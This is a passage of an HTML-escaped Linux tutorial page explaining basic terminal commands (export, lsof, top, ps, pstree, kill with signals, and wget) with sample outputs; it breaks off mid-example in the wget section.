&lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;export&#34;&gt;export&lt;/h2&gt;&#xA;&lt;p&gt;Export allows us to create an environment variable. This environment variable will be available during our session in the terminal. When you close the terminal the variable disappears.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;MY_VARIABLE&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;my_value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv MY_VARIABLE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my_value&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;lsof&#34;&gt;lsof&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;This command returns a list of files and the processes that are using them.&lt;/p&gt;&#xA;&lt;p&gt;The results are returned in the following format.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lsof&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can filter the results by user:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo lsof -u &amp;lt;username&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or by process:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo lsof -c &amp;lt;process_name&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or by port&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo lsof -i :&amp;lt;port_number&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;top&#34;&gt;top&lt;/h2&gt;&#xA;&lt;p&gt;The top command shows the list of processes or threads that are running in real time and information related to each of them. See below how the processes are ordered, first are the processes of the current user and then follows a list of processes ordered by their process identifier (PID), if you press the key &lt;em&gt;down&lt;/em&gt; ↓ it will show you more processes. You can press the &amp;lsquo;&lt;em&gt;q&lt;/em&gt;&amp;rsquo; key at any time to leave the interactive screen and return to the terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;top &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  top - 11:22:06 up 2:29, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user, load average: 0.57, 0.86, 1.00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Tasks: &lt;span style=&#34;color:#ff9f43&#34;&gt;214&lt;/span&gt; total, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; running, &lt;span style=&#34;color:#ff9f43&#34;&gt;213&lt;/span&gt; sleeping, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; stopped, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; zombie&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  %Cpu&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: 14.7 us, 2.8 sy, 0.1 ni, 81.1 id, 1.1 wa, 0.0 hi, 0.2 si, 0.0 st&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  KiB Mem :  &lt;span style=&#34;color:#ff9f43&#34;&gt;8111064&lt;/span&gt; total, &lt;span style=&#34;color:#ff9f43&#34;&gt;3577672&lt;/span&gt; free, &lt;span style=&#34;color:#ff9f43&#34;&gt;2705236&lt;/span&gt; used, &lt;span style=&#34;color:#ff9f43&#34;&gt;1828156&lt;/span&gt; buff/cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  KiB Swap: &lt;span style=&#34;color:#ff9f43&#34;&gt;11717628&lt;/span&gt; total, &lt;span style=&#34;color:#ff9f43&#34;&gt;11717628&lt;/span&gt; free, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; used. &lt;span style=&#34;color:#ff9f43&#34;&gt;4961212&lt;/span&gt; avail Mem &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  PID USER PR NI VIRT RES SHR S  %CPU %MEM TIME+ COMMAND                                                                                                                   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10306&lt;/span&gt; user &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;45064&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3644&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2984&lt;/span&gt; R 12.5 0.0 0:00.02 top                                                                                                                       &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff9f43&#34;&gt;1657&lt;/span&gt; user &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2433020&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;186960&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;84944&lt;/span&gt; S 6.2 2.3 6:45.07 gnome-shell                                                                                                               &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff9f43&#34;&gt;1689&lt;/span&gt; user &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; -11 &lt;span style=&#34;color:#ff9f43&#34;&gt;1764808&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;15476&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;11528&lt;/span&gt; S 6.2 0.2 2:52.65 pulseaudio                                                                                                                &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff9f43&#34;&gt;5185&lt;/span&gt; user &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;602440&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;34612&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25572&lt;/span&gt; S 6.2 0.4 0:01.35 gnome-terminal- &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff9f43&#34;&gt;9699&lt;/span&gt; user &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1782564&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;282448&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;133804&lt;/span&gt; S 6.2 3.5 0:16.06 chromium                                                                                                                  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; root &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;139128&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6988&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5300&lt;/span&gt; S 0.0 0.1 0:01.12 systemd                                                                                                                   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; root &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; S 0.0 0.0 0:00.00 kthreadd                                                                                                                  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; root &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; S 0.0 0.0 0:00.08 ksoftirqd/0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ps&#34;&gt;ps&lt;/h2&gt;&#xA;&lt;p&gt;The ps command will show us the list of running processes, but not in real time and interactively, but it prints them on the screen; ideal to dump it in a file or process the information that the command gives us.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  PID TTY TIME CMD&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;9782&lt;/span&gt; pts/1 00:00:00 bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;13249&lt;/span&gt; pts/1 00:00:00 ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, the command &amp;lsquo;&lt;em&gt;ps&lt;/em&gt;&amp;rsquo; is not showing us the same processes as the previous command. This is because it only showed us the processes that were running at that moment; bash, because we are running the command in the terminal and &amp;lsquo;&lt;em&gt;ps&lt;/em&gt;&amp;rsquo;, because it is the command we ran. Let&amp;rsquo;s run the command now with the &amp;lsquo;&lt;em&gt;aux&lt;/em&gt;&amp;rsquo; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ps aux&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; root &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; 0.0 0.0 &lt;span style=&#34;color:#ff9f43&#34;&gt;139128&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6988&lt;/span&gt; ?        Ss 08:52 0:01 /sbin/init&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; root &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; 0.0 0.0 &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; ?        S 08:52 0:00 &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;kthreadd&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; root &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; 0.0 0.0 &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; ?        S 08:52 0:00 &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;ksoftirqd/0&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now it shows more information, the CPU percentage and the memory percentage. Note that the &lt;em&gt;%CPU&lt;/em&gt; shown by both commands will not be the same because it is calculated differently in each of them. You can see more details in the code or in the manuals of both commands.&lt;/p&gt;&#xA;&lt;h3 id=&#34;proc-and-the-ps-command&#34;&gt;/proc and the ps command&lt;/h3&gt;&#xA;&lt;p&gt;The ps command gets its content information from the &lt;em&gt;/proc&lt;/em&gt; folder, which is where the linux running processes are stored.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pstree&#34;&gt;pstree&lt;/h2&gt;&#xA;&lt;p&gt;The pstree command will show us the list of running processes but in graphical format and broken down.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pstree&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemd─┬─ModemManager─┬─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gdbus&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        │              └─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gmain&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─NetworkManager─┬─dhclient&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        │                ├─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gdbus&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        │                └─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gmain&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─accounts-daemon─┬─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gdbus&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        │                 └─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gmain&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─avahi-daemon───avahi-daemon&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─colord─┬─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gdbus&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        │        └─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;gmain&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─containerd───13*&lt;span style=&#34;color:#ff6ac1&#34;&gt;[{&lt;/span&gt;containerd&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─cron&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─dbus-daemon&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─dockerd───14*&lt;span style=&#34;color:#ff6ac1&#34;&gt;[{&lt;/span&gt;dockerd&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├─firefox-bin─┬─Privileged Cont─┬─&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;Chrome_~dThread&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;kill&#34;&gt;kill&lt;/h2&gt;&#xA;&lt;p&gt;The kill command, to kill a process just type the command in the terminal followed by its process identifier (PID), the number that appears in the two previous commands. It is the perfect command to use if chrome ate all the RAM and your system is no longer responsive, or if you want to terminate a process that is causing problems. When executing this command the program exits normally, performing its exit actions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;kill&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;9699&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt; actions will be executed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If after this command the process still does not respond, just add the option &amp;lsquo;-9&amp;rsquo; to the command, this command will cut the process without giving it time to perform its output actions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;kill&lt;/span&gt; -9 &lt;span style=&#34;color:#ff9f43&#34;&gt;9699&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; no &lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt; actions will be executed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;internal-operation-of-the-kill-command&#34;&gt;Internal operation of the kill command&lt;/h3&gt;&#xA;&lt;p&gt;Internally the kill command sends signals of different types to the processes, these signals can be received by the application, to handle the closing of these. Here are some signals:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Signal&lt;/th&gt;&#xA;          &lt;th&gt;Value&lt;/th&gt;&#xA;          &lt;th&gt;Action&lt;/th&gt;&#xA;          &lt;th&gt;Comment&lt;/th&gt;&#xA;          &lt;th&gt;Command&lt;/th&gt;&#xA;          &lt;th&gt;Keyboard Shortcut&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGINT&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Interrupt from Keyboard&lt;/td&gt;&#xA;          &lt;td&gt;kill -2 pid&lt;/td&gt;&#xA;          &lt;td&gt;CTRL+C&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;SIGKILL&lt;/td&gt;&#xA;          &lt;td&gt;9&lt;/td&gt;&#xA;          &lt;td&gt;Term&lt;/td&gt;&#xA;          &lt;td&gt;Terminate a process in a forced manner, cannot be handled by Go&lt;/td&gt;&#xA;          &lt;td&gt;kill -9 pid&lt;/td&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;wget&#34;&gt;wget&lt;/h2&gt;&#xA;&lt;p&gt;With wget we can download files from the Internet. To use it we put in front the address of the resource we want to download, from files to web pages.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://google.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--2019-05-20 22:38:34-- https://google.com/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolviendo google.com &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;google.com&lt;span 